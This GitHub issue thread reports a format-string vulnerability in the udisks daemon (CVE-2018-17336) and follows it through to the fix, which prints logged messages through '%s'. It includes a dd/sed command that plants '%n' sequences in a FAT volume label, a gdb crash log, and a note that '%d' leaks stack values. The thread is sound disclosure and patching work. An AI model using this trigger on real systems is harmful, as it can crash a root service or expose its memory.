New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malformed filesystem labels allows for a string format vulnerability #578

Closed
oxagast opened this Issue Sep 16, 2018 · 6 comments

Comments

Projects
None yet
4 participants
@oxagast

oxagast commented Sep 16, 2018

A malformed file system label can trigger a string format vulnerability in udisks.
For example:

umount /dev/sdb1; mkfs.vfat -n "AAAAAAAAAAA" /dev/sdb1; dd if=/dev/sdb1 bs=1M count=200 | sed 's|AAAAAAAAAAA|%n%n%n%n%n0|g' | sudo dd of=/dev/sdb1 bs=1M

Crashes udisks2, and since the %n modifier allows for arbitrary memory manipulation this could pose a security risk, as udisksd runs root.

Reading symbols from /usr/lib/udisks2/udisksd...(no debugging symbols found)...done.
(gdb) r
Starting program: /usr/lib/udisks2/udisksd
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
udisks-Message: 00:02:18.468: udisks daemon version 2.7.6 starting
[New Thread 0x7ffff3618700 (LWP 3731)]
[New Thread 0x7ffff2e17700 (LWP 3732)]
[New Thread 0x7ffff2616700 (LWP 3733)]

** (udisksd:3727): WARNING **: 00:02:18.558: failed to load module mdraid: libbd_mdraid.so.2: cannot open shared object file: No such file or directory

(udisksd:3727): udisks-WARNING **: 00:02:18.567: Failed to load the 'mdraid' libblockdev plugin
[New Thread 0x7fffe26db700 (LWP 3734)]
[New Thread 0x7fffe1eda700 (LWP 3741)]
udisks-Message: 00:02:18.631: Acquired the name org.freedesktop.UDisks2 on the system message bus
[Thread 0x7ffff2e17700 (LWP 3732) exited]
[New Thread 0x7ffff2e17700 (LWP 3899)]
udisks-Message: 00:02:37.388: Mounted /dev/sdb1 at /media/marshall/9D41-5816 on behalf of uid 1000
[Thread 0x7ffff2e17700 (LWP 3899) exited]
udisks-Message: 00:04:04.881: Cleaning up mount point /media/marshall/9D41-5816 (device 8:17 is not mounted)
[New Thread 0x7ffff2e17700 (LWP 5338)]
[Thread 0x7ffff2e17700 (LWP 5338) exited]
[New Thread 0x7ffff2e17700 (LWP 5967)]
[Thread 0x7ffff2e17700 (LWP 5967) exited]
[New Thread 0x7ffff2e17700 (LWP 6790)]
[Thread 0x7ffff2e17700 (LWP 6790) exited]
[New Thread 0x7ffff2e17700 (LWP 9510)]
[Thread 0x7ffff2e17700 (LWP 9510) exited]
[New Thread 0x7ffff2e17700 (LWP 10277)]
udisks-Message: 00:24:22.569: Mounted /dev/sdb1 at /media/marshall/AAAAAAAAAAA on behalf of uid 1000
[Thread 0x7ffff2e17700 (LWP 10277) exited]
udisks-Message: 00:29:20.632: Cleaning up mount point /media/marshall/AAAAAAAAAAA (device 8:17 no longer exists)
[New Thread 0x7ffff2e17700 (LWP 11320)]
udisks-Message: 00:29:25.451: Mounted /dev/sdb1 at /media/marshall/AAAAAAAAAAA on behalf of uid 1000
[Thread 0x7ffff2e17700 (LWP 11320) exited]
udisks-Message: 00:31:31.470: Cleaning up mount point /media/marshall/AAAAAAAAAAA (device 8:17 no longer exists)
[New Thread 0x7ffff2e17700 (LWP 11913)]
udisks-Message: 00:31:37.852: Mounted /dev/sdb1 at /media/marshall/AAAAAAAAAAA on behalf of uid 1000
[Thread 0x7ffff2e17700 (LWP 11913) exited]
[New Thread 0x7ffff2e17700 (LWP 12057)]
[Thread 0x7ffff2e17700 (LWP 12057) exited]
udisks-Message: 00:33:08.861: Cleaning up mount point /media/marshall/AAAAAAAAAAA (device 8:17 no longer exists)
[New Thread 0x7ffff2e17700 (LWP 12281)]
*** %n in writable segment detected ***

Thread 16 "pool" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e17700 (LWP 12281)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) 
@pothos

This comment has been minimized.

Show comment
Hide comment
@pothos

pothos Sep 18, 2018

Contributor

With %d you don't abort UDisks but can leak stack values. This makes it easier to test because I actually couldn't restart the system UDisks even after removing the device in question.

Contributor

pothos commented Sep 18, 2018

With %d you don't abort UDisks but can leak stack values. This makes it easier to test because I actually couldn't restart the system UDisks even after removing the device in question.

pothos added a commit to pothos/udisks that referenced this issue Sep 18, 2018

Fix string format vulnerability
If the message in g_log_structured itself
contained format sequences like %d or %n they
were applied again, leading to leaked stack contents
and possibly memory corruption. It can be triggered
e.g. by a volume label containing format sequences.

Print the message argument itself into a "%s" string
to avoid intepreting format sequences.

storaged-project#578
@oxagast

This comment has been minimized.

Show comment
Hide comment
@oxagast

oxagast Sep 18, 2018

To get UDisks to run correctly again after injecting a %n or something else that causes it to abort you'll have to remove the appropriate entry from /var/lib/udisks2/mounted-fs.

oxagast commented Sep 18, 2018

To get UDisks to run correctly again after injecting a %n or something else that causes it to abort you'll have to remove the appropriate entry from /var/lib/udisks2/mounted-fs.

@oxagast

This comment has been minimized.

Show comment
Hide comment
@oxagast

oxagast Sep 22, 2018

Merge looks good, thanks for the quick fix.

oxagast commented Sep 22, 2018

Merge looks good, thanks for the quick fix.

@oxagast oxagast closed this Sep 22, 2018

@vpodzime

This comment has been minimized.

Show comment
Hide comment
@vpodzime

vpodzime Sep 22, 2018

Contributor

Merge looks good, thanks for the quick fix.

Thanks for reporting this!

Contributor

vpodzime commented Sep 22, 2018

Merge looks good, thanks for the quick fix.

Thanks for reporting this!

@abergmann

This comment has been minimized.

Show comment
Hide comment
@abergmann

abergmann Sep 24, 2018

CVE-2018-17336 was assigned to this issue.

abergmann commented Sep 24, 2018

CVE-2018-17336 was assigned to this issue.

@vpodzime

This comment has been minimized.

Show comment
Hide comment
@vpodzime

vpodzime Sep 24, 2018

Contributor

CVE-2018-17336 was assigned to this issue.

Wooohooo, my first CVE! 🎆

Contributor

vpodzime commented Sep 24, 2018

CVE-2018-17336 was assigned to this issue.

Wooohooo, my first CVE! 🎆

vojtechtrefny added a commit that referenced this issue Oct 1, 2018

Fix string format vulnerability
If the message in g_log_structured itself
contained format sequences like %d or %n they
were applied again, leading to leaked stack contents
and possibly memory corruption. It can be triggered
e.g. by a volume label containing format sequences.

Print the message argument itself into a "%s" string
to avoid intepreting format sequences.

#578

vojtechtrefny added a commit that referenced this issue Oct 1, 2018

Fix string format vulnerability
If the message in g_log_structured itself
contained format sequences like %d or %n they
were applied again, leading to leaked stack contents
and possibly memory corruption. It can be triggered
e.g. by a volume label containing format sequences.

Print the message argument itself into a "%s" string
to avoid intepreting format sequences.

#578
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment